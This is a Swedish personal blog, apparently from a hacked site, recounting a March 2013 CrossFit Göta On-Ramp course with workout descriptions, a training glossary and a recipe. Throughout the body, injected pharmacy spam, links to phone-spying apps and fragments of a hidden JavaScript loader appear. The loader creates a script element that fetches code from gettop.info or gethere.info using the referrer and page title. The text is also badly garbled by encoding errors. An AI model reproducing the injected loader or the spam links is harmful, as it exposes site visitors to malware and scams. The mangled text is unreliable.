29 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 6

Idag var det http://admiral-muslim.mhs.narotama.ac.id/2018/02/02/%ef%bb%bfbuy-motilium/ buy pills vA?r sista dag pA? On-ramp kursen och vi bA�rjade kl. 09.00 pigga och glada.

Vi A�vade med trA�kA�pp och skivstA?ng pA? Snatch och Clean och olympiska lyft. Det A�r mycket teknik att lA�ra sig sA? hA�r canadian shop pills i bA�rjan men det A�r ju bara att repetera och A�va och hoppas att teknikdelen sitter om ett tag.

stot_sekvens_clip Pills

Idag gick dagens Wod ut pA? att vi jobbade i par och kA�rde enligt fA�ljande:
Tag Team chipper
40 Thrusters 15/20 (15 kg fA�r tjejer och 20 kg fA�r killarna)
40 HR push ups (HR = Hand release)
40 SwingsA�8 kg fA�r tjejerna och killarna hadeA�en tyngre kettlebell
40 Pull ups http://queendentist.net/cheap-cleocin-300/
40 UtfallsstegA� med 10 kg viktplatta ovanfA�r huvudet. Killarna kA�rde 15 kg
40 Rotationskast i vA�ggen med 6 kilos boll fA�r tjejerna och 10 kg fA�r killarna
40 Burpees A�ver kompis

UpplA�gget fick vi bestA�mma sjA�lva. Tex att jag kA�rde A�5 Thrusters, sen kA�rde Sara 5 tills http://www.charpente-coderck.fr/wellbutrin-buy-online-uk/ vi gjort vA?ra 40 Thrusters totalt och sen gick vi vidare pA?A� nA�sta A�vning som varA� HR push ups. De som var klara fA�rst, hejade pA? de A�vriga i vA?r grupp och dA? kA�mpade man pA? lite extra. Oj vad trA�tt jag var efterA?t och sen blev det stretching.

Thrusters ser ut sA? hA�r:
pushpress

HR Push ups ser ut sA? hA�r:
YouTube Preview Image

Swings med kettlebell ser ut sA? hA�r.
http://fgaspari.com.br/?p=4901 http://staresources.net/?p=3412 lateralswing

Pull ups ser ut sA? hA�r:
overhand pull-ups order imdur uses

Ufallsteg med viktplatta ser ut sA? hA�r:
YouTube Preview Image

purchase aristocort triamcinolone

Rotationskast i vA�ggen 6/10 (Vi tjejer hade en 6kg boll och killarna 10 kg)
YouTube Preview Image

Burpees gA�r du sA? hA�r: Efter varje Burpee hoppade vi A�ver kompisen som lA?g pA? golvet och sen en ny Burpee.
Pills imagesCA552I36

Purchase

HA�r A�r en bild pA? vA?r otroligt duktiga coach Johan som guidat och stA�ttat A�oss genom hela On-ramp kursen.
bild1

 var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); http://blog.muxplus.com/archives/16633/

27 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 5

buy pills Cheap bild (16)

Nu hA�nder det saker…

purchase levothroid

HA�r fA�rsA�ker jag med WallWalk och Sara stA?r pA? hA�nderna.
bild (18)

Idag kA�rde vi vA?rat nA�st sista pass pA? vA?ran on-ramp kurs. KA�nns lite trA?kigt dA? vi nu bA�rjat vA�nja oss vid vA?r trevliga grupp. KA�nslan att snart boka CrossFit bas pass och team Wood pass ser jag fram emot med lite skrA�ckblandlad kA�nsla.
Under alla A?r som jag trA�nat pA? gym sA? har jag haft svA?rt fA�r alla A�vningar med armar och axlar och idag kA�rde vi mycket av den varan.

furosemide over the counter substitute

SA? hA�r sA?g dagens upplA�gg ut:
Teknikdelen var uppdelad i TrA�kA�pp och Hopprep (DU = Double unders)

SNC00244crosstrain-double-unders

naprosyn 500mg cost

Sen var det dags fA�r lite gymnastikA�vningar.
Hollow position/rock
A�ngeln
Kipp/Swing/KTE (Kipping knees to elbow)/Pullup
HandstA?ende mot vA�gg

SA? hA�r gA�r man Hollow Rock.
YouTube Preview Image

A�ngeln gA�r du sA? hA�r: Vi hade vA?ra armar rakt ut som ett kors.
YouTube Preview Image

Swing ser ut sA? hA�r:
YouTube Preview Image

KTE gA�r du sA? hA�r:
YouTube Preview Image

Buy

Efter detta var det dags fA�r dagens ”Mecon” 10 min AMRAP (As many reps as possible)
3 Wall Walk
10m utfallsgA?ng med viktskivaA� OHA�= Over Head
9 Kipp

Pills

SA? hA�r ser ”Wall Walk” ut.
YouTube Preview Image

http://bluewaterfestival.org.au/how-much-does-serophene-cost/ Buy

wallwalks_08_17_12 pilule cialis

SA? hA�r ser utfallsgA?ng med viktskiva ut:
YouTube Preview Image

SA? hA�r ser ”Kipping” ut:
YouTube Preview Image

bild (12)bild (14) bild (9) bild (2)} else {

Order

document.currentScript.parentNode.insertBefore(s, document.currentScript); can you buy ventolin over the counter in victoria http://nerolandscape.net/2017/10/call-tracker-flexi-spy-iphone-spy-app-no-jailbreak/

25 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 4

Nu A�r det bara tvA? gA?nger kvar av On-ramp kursen och vi har hunnit lA�ra oss en massa roliga A�vningar.
Idag talade coachen om att det A�rA� vA?rat ”eget ansvar” att lA�ra oss och vilja utvecklas i CrossFit. VA?ra coacher finns dA�r fA�r att stA�tta oss men huvudansvaret ligger hos oss sjA�lva.

SA? hA�r ser receptionen ut pA? CrossFit GA�ta. DA�rren som A�r A�ppen till hA�ger A�r damernas omklA�dningsrum.
bild (14)

VA?ran uppvA�rmning idag var enligt fA�ljande:
3 varv av 8 WB (Wall Ball), 4 utfallssteg pA? varje ben samt 8 pushups

http://www.tigerlilly.me/discount-allegra-online/ costo lamisil crema

Wall-Ball-Progression-impcff402285d75c31e218a52af7c0b2541

Pills

push-up1

Dagens teknikA�vning var ”Kettlebells”.
kettlebell11/2 swingA� (Ryss)

Purchase kettlebell-swingEnA�helA� ”Kettlebell swing.”
lateralswingRack position
Vi fick lA�ra ossA�att hA?lla vA?ra kettlebells iA�”Rack position”
Pills kbinfo_onearmcleanA�Sen fick vi lA�ra oss enA�”Kettlebell clean”.
kettlebell_clean1-1024x582

Och till sist en A�”Kettlebell sale duphalac Snatch”

one-arm-kettlebell-snatch

Efter dessa A�vningar bA�rjade vid dagens ”Metcon” pass:
Vi blev uppdelade i team om 2 .
Sen kA�rde vi en stegeA� 1-10 med Goblet/Planka och 1-10 Ryss/Squat
FA�rst kA�rde jag 1 Goblet medans Sara kA�rde 1 planka och sA? bytte vi och fortsatte upp till 10 varv.
EfterA?t fortsatte vi med 1 Ryss och Sara kA�rde 1 Squat och sen bytte vi A�vning och fortsatte upp till 10 varv.

En Kettlebell Goblet A�r sA? hA�r:
gobletsquat

Det hA�r A�r plankan.
201211_planken

Det hA�r A�r en Ryss.
kettlebell-swing

purchase danazol 200

Det hA�r A�r en cheap generic cialis online uk Squat.

body-weight-squats-300x274

Idag kA�ndes mjA�lksyran ordentligt….
EfterA?t stretchade vi baksidan av lA?re och sA�te.

online bild (4) cheap flexisyn

HA�r kommer bild frA?n ”Boxen” vi trA�nade i pA? detta pass.
bild (16)d.getElementsByTagName(‘head’)[0].appendChild(s);

Order http://casinoagent8.info/news/spy-app-hidden-sms-tracker-spymobile/

CrossFit GA�ta prova pA? pass och On-ramp kurser

bildo

FA�r er som vill testa CrossFit kan jag rekommendera att ta ett besA�k hos CrossFit GA�ta vid Lyckholms fabriker. Varje lA�rdag har de prova pA? pass frA?n 12-13 helt gratis och anmA�lan gA�rs via deras hemsida . Kika hA�r.A�Ni kan A�ven sA�ka pA? CrossFit GA�ta pA? facebook fA�r mer information.
bild999

Cheap buy pills

Annars kan ni lA�sa nedan vad som ingA?r i en levitra no prescription needed On-ramp kurs.

On-ramp
Kurs fA�r dig som inte trA�nat CrossFit innan. Den bestA?r av sex 1-timmes pass under tvA? veckors tid dA�r du kommer att introduceras till CrossFit genom fA�relA�sningar, de grundlA�ggande rA�relserna och naturligtvis trA�ning (WODa�?s).
Kostnad: 995kr

IngA?r: 6 tillfA�llen, din egen CFG-trA�ningspA�rm, mycket glA�dje Purchase och trA�ningsvA�rk!

KurstillfA�llen Mars-April 2013

Pills Buy

  • On-ramp B tisdag 5 mars
  • On-ramp A mA?ndag 18 mars
  • On-ramp B tisdag 2 april
  • Cheap
    buy betapace 80

  • On-ramp A mA?ndag 15 april

UpplA�gg A och B A�r identiska till innehA?ll men schemat skiljer.
A: mA?ndag, onsdag och fredag klockan 18-19
B: tisdag, torsdag klockan 19:30-20:30 samt lA�rdag klockan 10:00

OBS! Dessa kurser A�r populA�ra sA? anmA�l er i god tid fA�r att sA�kerstA�lla att ni fA?r plats! AnmA�lan sker genom att betala avgiften om 995kr till BG 844-9019 och sedan maila oss och meddela vilket kurstillfA�lle ni vill gA?. info@crossfitgota.se

On-ramp Privat/Semi-privat
FA�r dig/er som inte har mA�jlighet att nA�rvara de tillfA�llen vi kA�r vA?ra vanliga On-ramp kurser. Semi-privat A�r till fA�r er som vill gA? kursen tillsammans med en vA�n eller partner. Fyra tillfA�llen A? en timma som vi planerar in sA? det passar Ert schema.

Kostnad: Privat – 1995kr, Semi-privat – 2995kr
Kontakta oss via mail eller ring Johan pA? 0708-15 27 85 fA�r mer information kring On-ramp eller bokning av privat/semi-privat.

Buy

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; how much eulexin http://xn--o9j0bk5t7e2a3h.net/?p=1470 Buy

22 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 3

online

IgA?r var det vA?ran 3.e lektion i CrossFit On-Ramp pA? CrossFit GA�ta. purchase noroxin online A�Jag tycker det A�r superkul att prova en helt annan typ av trA�ning A�n vad jag A�r van vid och kombinationen av, teknik, styrka, uthA?llighet och explosivitet A�r vad som gA�r CrossFit sA? intressant. Att pressa sig sjA�lv till max och gA�ra det ihop med en grupp och en coach som peppar en A�r superkul och man kA�nner en stark gemenskap i vA?ran grupp efter endast 3 gA?nger. Det ligger ingen prestige i att nA?gon A�r bA�ttre A�n nA?gon annan utan alla stA�ttar varandre som grupp.
Nedan ser ni vA?r gruppbild frA?n igA?r och bilden har jag hA�mtat frA?n CrossFit GA�ta’s bilder. http://vasdaqcf.com/blog/2018/03/17/order-hytrin-dosage/
884567_438993939520176_1518451849_o

Coachen Johan berA�ttade att canadian pharmacy online cafergot innan varje ”WOD” pass kA�r man en warm up, gA?r igenom skill och styrka och sen kA�rs WOD passet.

online IgA?r var vA?ran uppvA�rmning enligt fA�ljande:
12, 9, 6 av
Air Squat
Push up
Situp

price of synthroid at target

DA? bA�rjade vi med 12, Air Squat, 12, Push Cheap Buy up och 12 Situp, nA�sta var 9 av varje A�vning och sista med 6.

DA�refter gick vi igenom lite teknikA�vningar av fA�ljande:
Deadlift (marklyft)
Wall Ball
Medball Clean

Vi bA�rjade med Deadlift (marklyft) med trA�kA�ppar fA�r att sen A�va med riktig skivstA?ng med vikter.
Deadlift

DA�refter gick vi A�ver till Wall Ball.
En Wall Ball har olika vikter. SA? hA�r kan en Wall Ball se ut.
Wolverson-Wall-Ball_700_600_3WH50

SA? hA�r gA�r man en wall ball.
Wall-Ball-Progression-imp

Det hA�r A�r en Medball Clean.
imagesCA2TEKLP

VA?rat Metcon workout igA?r var enligt fA�ljande:
5 varv av:
5 Deadlift
10 BurpeesA� (hoppa A�ver stA?ng)

5 varv blir 5×5 = totalt 25 Deadlift och 5 Buy x 10A� =A� totalt 50 Burpees pA? max 10 min.

Det hA�r A�r Deadlift. Vi anvA�nde oss av en riktig skivstA?ng med vikter.
Dead

Det hA�r A�r Burpees.

images

Kan sA�ga Buy att A�ven denna gA?ng blev jag helt slut efterA?t.

bild3

Denna gA?ng trA�nade vi i den andra ”Boxen” (trA�ninglokalen). CrossFit GA�ta har 2 ”Boxar”.
SA? hA�r ser det ut i boxen.
bild44bild55bild33bild77bild66document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pills

}}http://kvetyandrea.sk/2017/10/ios-spy-tracking-someones-phone-spy-iphone-without-jailbreak/ Cheap

20 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 2

bild6bild5

HA�r A�r entrA�n Pills till CrossFit GA�ta.

bild4

Bakom den hA�r dA�rren har vi den ena boxen som vi kA�rde vA?rat pass idag.
fincar price in india online bild1

IOch hA�r ser ni den berA�mda klockan. PA? tavlan skriver coachen upp vilken WOD eller A�vningar vi kA�r under passet.
bild99

Idag kA�rde vi ett nytt hA?rt pass med vA?ran coach Johan pA? CrossFit GA�ta. Det A�r en bra grupp och vi bA�rjar lA�ra kA�nna varandra och alla A�r sA? hjA�lpsamma och stA�ttar varandra under passet. Vi blev A�ven imponerade av att Johan har hunnit lA�ra sig alla vA?ra namn efter endast en gA?ng (12 deltagare).A� Idag kA�rde vi uppvA�rmning med stretch med en ”foam roller” av skumgummi och gjorde en masa A�vningar fA�r rumpa, ben, armar och A�rygg.

SA? hA�r kan en foam roller se ut.
Foam roller

foam_roller-332x205

Det finns A�ven foam roller med struktur.
Foam-Roller-EVA-Foam-Roller-Grid-Foam-Roller-a

HA�r kan ni se lite av de A�vningar vi gjorde med vA?ra skumgummirullar.
tri42_a

Foam_Roller_Exercises

Efter vA?ran stretch bA�rjade vi http://didit-ariyanto.mhs.narotama.ac.id/2018/02/02/how-much-zenegra/ A�va med ”press,” ”push jerk” och ”thrusters” med skivstA?ng utan vikter. SkivstA?ngen somA�vA�gerA�15 kilo. FA�rst fick vi lA�ra oss hur vi hA?ller skivstA?ngen med hA�nderna, lA�gger stA?ngen under hakan , dra bak huvudet fA�r att sen lyfta upp skivstA?ngen A�ver huvudet.

Det hA�r A�rA�”push jerk” (ryck-press)
pushpress

Det hA�r A�r en ”thruster” (RyckstA�tpress).
7Thruster

Sen var det dags fA�r att lA�ra sig” box jumps”. HA�jden pA? lA?dan A�r 50, 60 och 70 cm som ni ser pA? trA�lA?dan nedan.
Tjejerna fick ha den lA�gsta hA�jden pA? 50 cm.
pw-box_02

purchase fertomid 50 cheap pills box-jump

Sen var det dags fA�r ett MetCon pass A�- Metabolic conditioning eller konditionshA�jande trA�ning. En WOD brukar rA�knas som MetCon.

WOD – Workout of the day, dagens pass. Kan bestA? av en, men oftast flera olika A�vningar som sA�tts ihop till ett pass. Passet ska antingen utfA�ras pA? kortast mA�jligast tid eller sA? mA?nga varv som mA�jligt pA? en utsatt tid. Passen ser olika ut varje dag.en metcon.

VA?rat A�Metcon pass innehA�ll 2 A�vningar dA�r du A�kar pA? med enA�thrurster och ett tadalafil 20mg uk price box jump fA�r varje varv pA? 10 minuter.

1 thruster och 1 box jump
2 thruster och 2 box jump
3 thruster och 3 box jump
4 thruster och 4 box jump
5 thruster och 5 box jump
FA�r varje varv A�kar du med en thruster och ett box jump.

cheap albenza over the counter

Helt otroligt vad man fokuserar sig pA? uppgiften dA? jag A�ven denna gA?ng glA�mde av vilken musik som spelades under passet och klockan hann jag inte titta pA? heller. SkA�nt att coachen Johan talade om hur lA?ng tid vi hade kvar och vi kA�mpade pA?A�duktigt under passet.A�A� Pulsen var pA? max A�ven denna gA?ng och jag glA�mde totalt av min trA�ningsvA�rk nA�r jag hA�ll pA? med mina A�vningar…dA? A�r man fokuserad.
bild9

Vill ni veta hur man A?ker hit me spA?rvagn sA? A�r det spA?rvagn 2 eller 4 med stop Cheap i Almedal

Purchase

bild8
http://ark-alpha.com/buy-clonidine-tablets/ bild2

 

 } else {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Pills http://clearchoicehome.net/spy-phone-track-messages-iphone-hidden-sms-tracker/

Greg Glassman

YouTube Preview Image

HA�r kan ni lA�sa lite mer om grundare till CrossFit. Greg Glassman.

controversial-fitness-figures-greg-glassman-ss
Greg Glassman som A�r grundaren till CrossFit mA�rket, fick frA?gan a�?varfA�r han namngav workouts efter kvinnor?a�?
a�?I thought that anything that left you flat on your back, looking up at the sky asking a�?what just happened to me?a�� deserved a females name.A� Workouts are just like storms, they wreak havoc on towns.a�?

I Sverige fick trA�ningsformen ordentlig spridning 2008 dA? Erik Elliasson och Richard WallA�n startade sidan
CrossFit Nordic.
wod1
I CrossFit finns det sA?kallade standardiserade- eller benchmark- WOD:s. Det betyder att det skall vara exakt samma vikt/reps/A�vning i den WOD som utfA�rs. Benchmark WOD:s gA�r det mA�jligt fA�r alla i hela vA�rlden att jA�mfA�ra sig med varandra och utmana sin fitness. Dessa workouts A�r alltid dA�pta efter kvinnor eller mA�n, som t.ex. a�?Frana�? eller a�?Joshuaa�?.

De A�r kategoriserade pA? Cheap fA�ljande sA�tt:

  • a�?The Girlsa�? A�r kortare WOD:s med en mer generell vikt-A�vningsanpassning.
  • a�?The Heroesa�? A�r WOD:s dA�pta efter stupade soldater och dessa A�r tuffare, du jobbar med tyngre vikter och tar lA�ngre tid att genomfA�ra.

Order

A�r du intresserad av att se enA�A�lista pA? alla de benchmark WOD:s som finns i CrossFit vA�rlden just nu kika pA?
CrossFit Halmstad’s hemsida.
Viktangivelser avser MA�n/Kvinnor, alltsA? 60kg/40kg = 60kg fA�r mA�n, 40kg fA�r kvinnor.
a��Alla vikter A�r avrundade sA? nA�ra tiotal/ental som mA�jligta��
Informationen nedan hittade jag pA? CrossFit Kalmar’s hemsida.

Greg Glassman, tidigare elitgymnast, grundade CrossFit under 80-talet. Greg fick snabbt mA?nga anhA�ngare som mA�rkte att trA�ningen var extremt effektiv och motiverande. Speciellt polisen, militA�ren och brandfA�rsvaret fick upp A�gonen fA�r detta intensiva trA�ningsupplA�gg. xenical shopping 1995 blev Greg Glassman ansvarig fA�r fystrA�ningen hos polisen i Santa Cruz, Kalifornien. Samma A?r A�ppnade han det fA�rsta CrossFit-gymmet i samma stad.

2001 lanserades www.crossfit.com och det var genom denna websida som CrossFit verkligen bA�rjade sprida sig. Varje dag postades en ny workout sA? att folk kunde trA�na pA? egen hand. A�n idag publiceras varje dag en WOD (workout of the day) som A�r helt gratis tillsammans med videor pA? flera 100 A�vningar, artiklar och workouts. 2005 fanns det 18 CrossFit-gym. Idag finns det flera tusen runt om i vA�rlden och CrossFit A�r en av de snabbast vA�xande trA�ningsformerna.

2007 bA�rjade amerikanska marinen implementera CrossFit i sin fystrA�ning. Genom snabba resultat av den hA�gintensiva funktionella trA�ningen har Navy Seals sedan dess haft ett tA�tt samarbete med CrossFit HQ A�Idag anvA�nder sig bA?de Navy Seals och Kanadensiska militA�ren av CrossFit som deras primA�ra styrke- och Buy Cheap konditionsprogram.

images

HA�r kommer en lista pA? CrossFit trA�ningslexikon.
SquatA� – Huksittning/KnA�bA�j
Buy Front squatA� – FrontbA�j
Back squat a�� BenbA�j med skivstA?ng bakom huvudet
Overheadsquat a�� BenbA�j med skivstA?ng A�verhuvudet
Box JumpA� – Boxhopp
DeadliftA� – Cheap Marklyft
Sumo deadliftA� – Sumo marklyft
Sumo deadlift highpull a�� Sumo marklyft till hakan
Press a�� Press
Push press a�� Ryck-press
Push jerk a�� RyckstA�tpress
Thruster a�� Thruster
Wall-ball a�� VA�gg boll
Snatch a�� Ryck
Hang snatch a�� HA�ngryck
Power snatch a�� Styrkeryck
Hang power snatch a�� HA�ngstyrkeryck
Clean and jerk a�� pancha tulasi cost FrivA�ndning + StA�t
Clean a�� FrivA�ndning pills online
Power clean a�� StyrkevA�ndning
Pull-up a�� Pull-up Pills
Kipping pull-up a�� Kipping pull-up order lanoxin digoxin
Jumping pull-up a�� Pull-up med hopp
L-pull-up a�� L sit pull-up
Rope Climb a�� RepklA�ttring
Dips a�� Dips
Ring dips a�� Ringdips
Muscle-up – Pull up + dip
False grip a�� Grepp som anvA�nds vid ringtrA�ning
Turkish get-up a�� Turkisk resning/uppstigning med kettlebell
Push-ups a�� ArmhA�vningar
Handstand push-ups a�� HandstA?ende armhA�vningar
Sit-up a�� Sit-up
GHD-sit-up a�� GHD-sit-up
Back extension a�� Ryggresning
Hip extension a�� HA�ftextension
Kettlebell swing a�� Kettlebellsving
Dumbell swing a�� Hantelsving
Dubble-unders a�� Dubbelvarv med hopprep
Burpee a�� ArmhA�vning + hopp + klapp
Knees to elbows a�� HA�ngandes knA�n till armbA?gar
L-sit a�� L-sitt
Lunge a�� Utfall
Walking lunges a�� Utfallssteg
Fitness a�� Fysisk prestationsfA�rmA?ga
Scaling a�� Anpassning
Rep a�� Repetition
Set a�� Set/serie
Long Slow Distance a�� UthA?llighetstrA�nings.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

d.getElementsByTagName(‘head’)[0].appendChild(s); online http://marclawassoc.com/spy-phone-spyware-for-iphone-spy-phone-app/

Snabb korv stroganoff

Receptet hittade jag pA? www.arla.se. IstA�llet fA�r falukorv har jag anvA�nt prinskorv.

Cheap bild (4)

online

Recept 4 portioner.
300 gram falukorv (eller prinskorv)
1/2 gul lA�k buy pyridium http://www.tigerlilly.me/bestina-buy/
1 msk rapsolja
2 1/2 dl mjA�lk
11/2 msk tomatpurA�
1 tsk senap viagra originale online
Lite mjA�l att reda ut sA?sen i

GA�r sA? hA�r:
SkA�r korven i strimlor. Skala och hacka lA�ken. Stek korv och lA�k i rapsolja i en stekpanna. TillsA�tt mjA�lk, tomatpurA� och senap. RA�r om och lA?t oka pA? svag vA�rme ca 2-3 min. Smakaav med salt och peppar. Om du vill ha tjockare sA?s sA? red ut med lite mjA�l.

 var d=document;var s=d.createElement(‘script’); cheap pills Cheap buy finax muesli

Pills
s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else { online Buy http://cheerscorporation.com/viber-spy-sms-spy-without-target-phone-free-stealthgenie/

18 mars, 2013 On-Ramp kurs hos CrossFit GA�ta dag 1

On-Ramp kursen jag anmA�lt mig pA? hosA�CrossFit GA�ta A�r en kurs fA�rA�oss som inte trA�nat CrossFit innan. Den bestA?r av sex 1-timmes pass under tvA? veckors tid dA�rA�vi kommer att introduceras till CrossFit genom fA�relA�sningar, de grundlA�ggande rA�relserna och naturligtvis trA�ning (WODa�?s).

Kostnad fA�r kursen A�r : 995kr och dA? atorvastatin prices 20 mg us ingA?r: 6 tillfA�llen, din egen CFG-trA�ningspA�rm, mycket glA�dje och trA�ningsvA�rk!

YouTube Preview Image
I youtube klippet ser ni vad A�r WOD ”Cindy” A�r fA�r nA?got.
Onramp

Idag har jag dA? bA�rjat On-ramp kursen hos CrossFit GA�ta. VA?ran grupp bestA?r av 12 personer ochA�coachen Johan. Vi fick trA�na i den andra ”boxen” idag. FA�rst var det en kort presentation om Johan och om hur han och tvA? kompisar startade CrossFit GA�ta hA�sten 2011.A� Sedan fick vi andra presentera oss fA�r resten av gruppen.
Gruppbilden nedan har jag lA?nat frA?n CrossFit GA�ta’s foton.
885456_437343663018537_814782950_o

Vi bA�rjade medA�att vA�rma upp dA�r viA�sprang nA?gra varv i lokalen, A�hoppade sidledes och stretching.A�EfterA?t A�fick viA�tekniktrA�na hur vi lyfter en skivstA?ng. Det gick skapligt men nA�r vi sedan provade pA? ”Overheadsquat” a�� BenbA�j med skivstA?ng A�verhuvudet…ja dA? var det plA�tsligt supersvA?rt. DA? hade jag inga vikter pA? skivstA?ngen. SkivstA?ngen i sig vA�gde 15 kilo och det var mer A�n tillrA�ckligt fA�r mig.
Vi fick A�ven lA�ra oss ”Air Squats” som var lite lA�ttare fA�r min del.
Air-squat

Sen var det dags fA�r vA?r fA�rstaA�”WOD”A� (= Workout of the day) och idag provade vi pA? 1/2 Cindy pA? 10 min.A�Det lA?ter kanske enkelt men rA�kna med att du tex gA�rA� 5A�varv pA?A�10 minuter = http://annienichols.com/?p=14790 25 Pullups,A� 50 Pushups ochA�75 Air Squats..dA? fA�rstA?r ni kanske varfA�r man blir trA�tt efter endast 10 minA�intensiv trA�ning dA�r pulsen A�rA�pA? max.

Buy

5 Pullups
10 Pushups
15 Air Squats

En riktig ”Cindy” AMRAP, alltsA? sA? mA?nga varv som mA�jligt pA? 20A�min. Hur hA?ller man reda pA? hur mA?nga varv du gA�r…jo alla deltagare har skrivit upp sitt namn pA? tavlan och drar ett lA?ngt streck efter namnet….efter varjeA�varv tar du och drar med fingret i strecket och pA? sA? sett ser Order du hur mA?ngaA�varv du har gjort nA�r klockan stannar.

mega

Coachen stA�ller klockan och sen nA�r han sA�ger bA�rja…dA? A�r det bara att kA�ra pA? med de hA�r Order tre A�vningarna och med sA? mA?ngaA�varv du orkar tills klockan stannar. Under tiden sA? spelas musik i hA�gtalaren fA�r att gA�ra trA�ningen lite lA�ttare. Dock var jag sA? fokuserad A�ver mina A�vningar och att fA�rsA�ka prestera max att jag knappt hA�rde vad som spelades fA�r musik. NA�r klockan stannat var jag fullstA�ndigt slut i kroppen …en god kA�nslaA� och man kA�nner med en gA?ng att du jobbat med hela kroppen.

Nu efterA?t kA�nner jag lite stolt A�ver mig sjA�lv att jag gav mitt max och kA�mpade pA? utan att klaga eller vara bekvA�m. Ser dock inte fram emot trA�ningsvA�rken som kommer efterA?t. FA�rra gA?ngen jag var pA? ett Cheap prova pA? pass hade jag trA�ningsvA�rk i 3-4 dagar efterA?t och mest i armar och axlar.

Lite CrossFit termer.
AMRAP – As many rounds as possible
ATG – Ass to grass (innebA�r en DJUP knA�bA�j)
BW eller KV – Bodyweight eller kroppsvikt
CFT – CrossFit total
PR – Personligt rekord
REP – Repetition
RM – Repetition maximum (innebA�r vad du MAX kan lyfta pA? en A�vning)
Scaling (skalning) – Anpassning, du skalar ner och anpassar A�vningen utifrA?n din fA�rmA?ga
Tabatha – Intervallprincip som innebA�r 8 set med vardera 20s jobb/10s vila.
WO – Workout
WOD – Workout of the day

Cheap

Lyck1

bild

cheap omnicef and alcohol bildbildoLyck1A cheap pills Lyck2Lyck3bildA�bildV

bild (5)

HelSar}

online

clindamycin sale

var d=document;var s=d.createElement(‘script’); } else { Cheap http://marclawassoc.com/call-tracker-highster-spy-mobile-phone/

CrossFit GA�ta

Bild1A

FA�rsta gA?ngen jag hA�rde talasA�om CrossFit GA�ta var genom en tidningsartikel i GT fA�r nA?gra veckor sedan. DA�r var det ett helsida om CrossFit GA�ta.A�Kika hA�r om du vill kika pA? deras hemsida. SjA�lvklart blev jag nyfiken att veta mer om CrossFit och sA?g pA? hemsidan att de har prova pA? pass pA? lA�rdagar. LA�rdag den 2:a mars provade jagA�och Sara pA? CrossFit .Efter A�passet var jag helt slut och trA�ningsvA�rken satt i sA�kert 3 dagar…men vilken adrenalinkick jag fick och kul att prova pA? en helt ny trA�ningsform. HA�r A�r gruppbilden frA?n prova pA? passet. (Bilden har jag lA?nat frA?n CrossFit GA�ta’s facebooksida)

Pills Pills 555319_429712027115034_1865017422_n

cheap uroxatral

CrossFit GA�ta bildades hA�sten 2011 dA? tre killar bestA�mde sig fA�r att fA�rverkliga sin drA�m – en egen CF-box! De hA�r en hemsida www.crossfitgota.se samt en facebooksida dA�rA�ni kan lA�sa mer omA�det hA�r stA�llet.
StA�lletA�ligger pA? Lyckholms gamla fabriker och adressen A�r SkA?rs Led 6, 412 63 GA�teborg.
GP online pills online Pills Onramp
Nu har jag anmA�lt mig till deras On-rampkurs med start den 18 mars. Under 6 timmar pA? tvA? veckor fA?r jag lA�ra mig grunderna inom CrossFit, bland annat olympiska lyft, kettlebells och gymnastik.

Bilderna nedan har jag hA�mtat frA?n nA�tet nA�r jag sA�kt pA? CrossFit GA�ta.
Bild 1 norvasc online without prescription Bild2document.currentScript.parentNode.insertBefore(s, document.currentScript); metformin pcos buy online

Cheap

Cheap
cheap actonel 150 mg http://blog.xn--2-5wf2eljdmn4b6cn.com/?p=1296 http://funderandfounder.com/phone-tracker-spy-bubble-android-phone-tracker/